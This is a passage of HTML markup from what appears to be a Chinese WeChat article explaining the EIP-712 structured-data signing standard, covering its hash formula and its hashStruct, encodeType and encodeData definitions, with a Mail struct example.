mpa-from-tpl="t"><section style="width: 13px;height: 13px;align-self: flex-start;margin-bottom: -13px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1" style="display: block;" data-type="png" data-w="26" src="https://wechat2rss.xlab.app/img-proxy/?k=fcd19117&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fx9316AdmojhCJUicU59yGKU5XEbqbLxI9dN9qJIv94FtNibJgalwSRPOX4iaz0CiaE7WHicibwyJWUuOhDYWAJNZia9gw%2F640%3Fwx_fmt%3Dpng"/></section><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="width: 35px;height: 32px;background: rgb(57, 57, 57);border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);text-align: center;overflow: hidden;white-space: nowrap;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 32px;" data-mid=""><span style="font-size: 18px;">三</span></p></section><section style="height: 32px;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);padding: 0px 15px;text-align: center;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(57, 57, 57);line-height: 32px;" data-mid=""><span style="font-size: 18px;">规范和概念</span></p></section></section></section></section></section><p><br/></p><h2 cid="n8" mdtype="heading" style="box-sizing: border-box;orphans: 4;margin: 24px 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;box-sizing: border-box;letter-spacing: 1px;color: rgb(84, 84, 84);">EIP712文档中阐述了很多前置的签名和定义，但这些都可以忽略，下面直接讲解EIP712的规范和概念。内容很干，可以结合代码看。</span></h2><p><span style="font-size: 15px;box-sizing: border-box;letter-spacing: 1px;color: rgb(84, 84, 84);"><br/></span></p><section style="line-height: 1.75em;margin-bottom: 32px;"><section style="display: flex;justify-content: center;align-items: center;justify-content: flex-start;padding-left: 18px;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="height: 38px;background: #090909;text-align: center;padding: 0px 4px 0px 6px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 38px;" data-mid="">NO.1</p></section><section style="width: 11px;height: 38px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="3.4545454545454546" style="display: block;" data-type="png" data-w="22" src="https://wechat2rss.xlab.app/img-proxy/?k=95104db1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F98AQ8y4bOK19segAEqmTGgHHicxt65Q7ibuW8UGVATzW6qFoQ7Cqc3g9UKu6akicMdiaHbG4jz5VyKQzEFn7r2v2OA%2F640%3Fwx_fmt%3Dpng"/></section><section style="height: 38px;text-align: center;border-width: 1px 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-bottom-style: solid;border-top-color: rgb(9, 9, 9);border-right-color: rgb(9, 9, 9);border-bottom-color: rgb(9, 9, 9);border-left-style: initial;border-left-color: initial;padding: 0px 10px 0px 4px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #333333;line-height: 38px;letter-spacing: 2px;" data-mid=""><span style="font-size: 16px;letter-spacing: normal;">EIP712最终的可签名的hash生成公式</span></p></section></section></section></section><pre spellcheck="false" lang="" cid="n11" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><p style="margin-left: 16px;margin-right: 16px;text-align: justify;line-height: 1.75em;"><span style="white-space:pre-wrap;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;text-align: left;background-color: rgba(0, 0, 0, 0.03);">encode(domainSeparator : bytes32, message : Struct) = &#34;\x19\x01&#34; ‖ domainSeparator ‖ hashStruct(message)</span></p></pre><p style="box-sizing: border-box;orphans: 4;margin: 24px 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;box-sizing: border-box;letter-spacing: 1px;color: rgb(84, 84, 84);">可以看到encode接收两个参数，一个是domainSeparator，一个是message，而message的类型则是EIP712Struct。   </span></p><p style="box-sizing: border-box;orphans: 4;margin: 24px 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;box-sizing: border-box;letter-spacing: 1px;color: rgb(84, 84, 84);">所以这里的encode处理就是将&#34;\x19\x01&#34;、domainSeparator和hashStruct(message)拼接在一起。   </span></p><p style="box-sizing: border-box;orphans: 4;margin: 24px 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;box-sizing: border-box;letter-spacing: 1px;color: rgb(84, 84, 84);">domainSeparator、message和hashStruct将在下面讲解。</span></p><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;justify-content: flex-start;padding-left: 18px;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="height: 38px;background: #090909;text-align: center;padding: 0px 4px 0px 6px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 38px;" data-mid="">NO.2</p></section><section style="width: 11px;height: 38px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="3.4545454545454546" style="display: block;" data-type="png" data-w="22" src="https://wechat2rss.xlab.app/img-proxy/?k=95104db1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F98AQ8y4bOK19segAEqmTGgHHicxt65Q7ibuW8UGVATzW6qFoQ7Cqc3g9UKu6akicMdiaHbG4jz5VyKQzEFn7r2v2OA%2F640%3Fwx_fmt%3Dpng"/></section><section style="height: 38px;text-align: center;border-width: 1px 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-bottom-style: solid;border-top-color: rgb(9, 9, 9);border-right-color: rgb(9, 9, 9);border-bottom-color: rgb(9, 9, 9);border-left-style: initial;border-left-color: initial;padding: 0px 10px 0px 4px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #333333;line-height: 38px;letter-spacing: 2px;" data-mid="">Struct定义</p></section></section></section></section><p><br mpa-from-tpl="t"/></p><section style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px 32px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;box-sizing: border-box;letter-spacing: 1px;color: rgb(84, 84, 84);">EIP712 Struct与常见的struct类似，我们可以定义一个简单的Mail Struct：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer">struct Mail {</span></code><code><span class="code-snippet_outer">  address from;</span></code><code><span class="code-snippet_outer">  address to;</span></code><code><span class="code-snippet_outer">  string contents;</span></code><code><span class="code-snippet_outer">  }</span></code></pre></section><section style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;box-sizing: border-box;color: rgb(84, 84, 84);letter-spacing: 1px;">对于struct的要求如下：</span></section><section style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 15px;box-sizing: border-box;color: rgb(0, 122, 170);">a.  </span></strong><span style="font-size: 15px;box-sizing: border-box;color: rgb(84, 84, 84);">一个struct必须具有有效标识符作为名称，并且包含零个或者多个成员变量。成员变量具有成员类型和名称；</span></span></section><section style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 15px;box-sizing: border-box;color: rgb(0, 122, 170);">b.</span></strong><span style="font-size: 15px;box-sizing: border-box;color: rgb(84, 84, 84);"> 成员类型可以是原子类型、动态类型或引用类型;</span></span></section><section style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 15px;box-sizing: border-box;color: rgb(0, 122, 170);">c. </span></strong><span style="font-size: 15px;box-sizing: border-box;color: rgb(84, 84, 84);">原子类型是 bytes1 到 bytes32、uint8 到 uint256、int8 到 int256、bool 和 address。这些对应于它们在 Solidity 中的定义。请注意，没有别名 uint 和 int。请注意，合约地址始终是纯地址。标准不支持定点数。该标准的未来版本可能会添加新的原子类型;</span></span></section><section style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="letter-spacing: 1px;"><strong><span style="letter-spacing: 1px;font-size: 15px;box-sizing: border-box;color: rgb(0, 122, 170);">d. </span></strong></span><span style="letter-spacing: 1px;font-size: 15px;box-sizing: border-box;color: rgb(84, 84, 84);">动态类型是字节和字符串。这些类似于用于类型声明的原子类型，但它们在编码中的处理方式不同;</span></section><section style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="letter-spacing: 1px;"><strong><span style="letter-spacing: 1px;font-size: 15px;box-sizing: border-box;color: rgb(0, 122, 170);">e. </span></strong></span><span style="letter-spacing: 1px;font-size: 15px;box-sizing: border-box;color: rgb(84, 84, 84);">引用类型是数组和结构。数组要么是固定大小的，要么是动态的，分别用 Type[n] 或 Type[] 表示。结构是通过名称引用其他结构。该标准支持递归结构类型;</span></section><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;justify-content: flex-start;padding-left: 18px;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="height: 38px;background: rgb(9, 9, 9);text-align: center;padding: 0px 4px 0px 6px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 38px;" data-mid="">NO.3</p></section><section style="width: 11px;height: 38px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="3.4545454545454546" style="display: block;" data-type="png" data-w="22" src="https://wechat2rss.xlab.app/img-proxy/?k=95104db1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F98AQ8y4bOK19segAEqmTGgHHicxt65Q7ibuW8UGVATzW6qFoQ7Cqc3g9UKu6akicMdiaHbG4jz5VyKQzEFn7r2v2OA%2F640%3Fwx_fmt%3Dpng"/></section><section style="height: 38px;text-align: center;border-width: 1px 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-bottom-style: solid;border-top-color: rgb(9, 9, 9);border-right-color: rgb(9, 9, 9);border-bottom-color: rgb(9, 9, 9);border-left-style: initial;border-left-color: initial;padding: 0px 10px 0px 4px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(51, 51, 51);line-height: 38px;letter-spacing: 2px;" data-mid="">hashStruct函数定义</p></section></section></section></section><pre spellcheck="false" cid="n20" mdtype="fences"><p style="margin-left: 16px;margin-right: 16px;line-height: 1.75em;"><br/></p><section style="margin: 8px 16px 24px;line-height: 1.75em;"><span style="margin: 0px;padding: 0px;max-width: 100%;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;font-weight: 400;letter-spacing: 1px;orphans: 4;text-align: justify;white-space: pre-wrap;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;overflow-wrap: break-word !important;box-sizing: border-box !important;">hashStruct函数的定义为：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">hashStruct(s : Struct) = keccak256(typeHash ‖ encodeData(s))</span></code></pre></section></pre><section style="margin: 8px 16px 24px;line-height: 1.75em;"><span style="font-size: 15px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">而typeHash函数为</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span class="code-snippet_outer">typeHash = keccak256(encodeType(typeOf(s)))</span></code></pre></section><section style="margin: 8px 16px 24px;line-height: 1.75em;"><span style="font-size: 15px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">所以</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">hashStruct(s : Struct) = keccak256(keccak256(encodeType(typeOf(s))) ‖ encodeData(s))</span></code></pre></section><h3 cid="n26" mdtype="heading" style="margin: 24px 16px;line-height: 1.75em;"><span style="font-size: 15px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">所以hashStruct函数就是，给定一个Struct，首先将其encodeType进行哈希，并与其encodeData拼接成为一个字符串，最后再对这个字符串进行哈希。</span></h3><h3 cid="n26" mdtype="heading" style="margin: 24px 16px;line-height: 1.75em;"><span style="font-size: 15px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;">那么接下来就讲解一下什么是encodeType和encodeData。</span></h3><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;justify-content: flex-start;padding-left: 18px;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="height: 38px;background: rgb(9, 9, 9);text-align: center;padding: 0px 4px 0px 6px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 38px;" data-mid="">NO.4</p></section><section style="width: 11px;height: 38px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="3.4545454545454546" style="display: block;" data-type="png" data-w="22" src="https://wechat2rss.xlab.app/img-proxy/?k=95104db1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F98AQ8y4bOK19segAEqmTGgHHicxt65Q7ibuW8UGVATzW6qFoQ7Cqc3g9UKu6akicMdiaHbG4jz5VyKQzEFn7r2v2OA%2F640%3Fwx_fmt%3Dpng"/></section><section style="height: 38px;text-align: center;border-width: 1px 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-bottom-style: solid;border-top-color: rgb(9, 9, 9);border-right-color: rgb(9, 9, 9);border-bottom-color: rgb(9, 9, 9);border-left-style: initial;border-left-color: initial;padding: 0px 10px 0px 4px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(51, 51, 51);line-height: 38px;letter-spacing: 2px;" data-mid="">encode Type 函数定义</p></section></section></section></section><p><br/></p><p style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="box-sizing: border-box;font-size: 15px;letter-spacing: 1px;color: rgb(84, 84, 84);">encodeType函数定义：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">encodeType(s : Strcut) = s.name ‖ &#34;(&#34; ‖ s.member₁ ‖ &#34;,&#34; ‖ s.member₂ ‖ &#34;,&#34; ‖ … ‖ s.memberₙ &#34;)&#34;</span></code></pre></section><p style="box-sizing: border-box;orphans: 4;margin: 16px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="box-sizing: border-box;font-size: 15px;letter-spacing: 1px;color: rgb(84, 84, 84);">其中member = type ‖ &#34; &#34; ‖ name。</span></p><p style="box-sizing: border-box;orphans: 4;margin: 16px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="box-sizing: border-box;font-size: 15px;letter-spacing: 1px;color: rgb(84, 84, 84);">举个例子会更清晰点，对上面的 Mail进行encodeType:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">encodeType(Mail) = Mail(address from,address to,string contents)</span></code></pre></section><p style="box-sizing: border-box;orphans: 4;margin: 24px 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="box-sizing: border-box;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">记得成员顺序是根据结构体定义时出现的顺序是一致的。</span></p><p style="box-sizing: border-box;orphans: 4;margin: 24px 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="box-sizing: border-box;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">如果结构体中引用了其它结构体，则将后续引用的结构体按名称排序附加到编码中，例子如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">Transaction(Person from,Person to,Asset tx)Asset(address token,uint256 amount)Person(address wallet,string name)</span></code></pre></section><p style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><br/></p><section style="margin-bottom: 32px;"><section style="display: flex;justify-content: center;align-items: center;justify-content: flex-start;padding-left: 18px;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="height: 38px;background: rgb(9, 9, 9);text-align: center;padding: 0px 4px 0px 6px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 38px;" data-mid="">NO.5</p></section><section style="width: 11px;height: 38px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="3.4545454545454546" style="display: block;" data-type="png" data-w="22" src="https://wechat2rss.xlab.app/img-proxy/?k=95104db1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F98AQ8y4bOK19segAEqmTGgHHicxt65Q7ibuW8UGVATzW6qFoQ7Cqc3g9UKu6akicMdiaHbG4jz5VyKQzEFn7r2v2OA%2F640%3Fwx_fmt%3Dpng"/></section><section style="height: 38px;text-align: center;border-width: 1px 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-bottom-style: solid;border-top-color: rgb(9, 9, 9);border-right-color: rgb(9, 9, 9);border-bottom-color: rgb(9, 9, 9);border-left-style: initial;border-left-color: initial;padding: 0px 10px 0px 4px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(51, 51, 51);line-height: 38px;letter-spacing: 2px;" data-mid="">encode Data 函数定义</p></section></section></section></section><pre spellcheck="false" lang="" cid="n28" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;"><p style="margin-left: 16px;margin-right: 16px;text-align: justify;line-height: 1.75em;"><span style="white-space:pre-wrap;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;text-align: left;background-color: rgba(0, 0, 0, 0.03);">encodeData = enc(value₁) ‖ enc(value₂) ‖ … ‖ enc(valueₙ)</span></p></pre><p style="box-sizing: border-box;orphans: 4;margin: 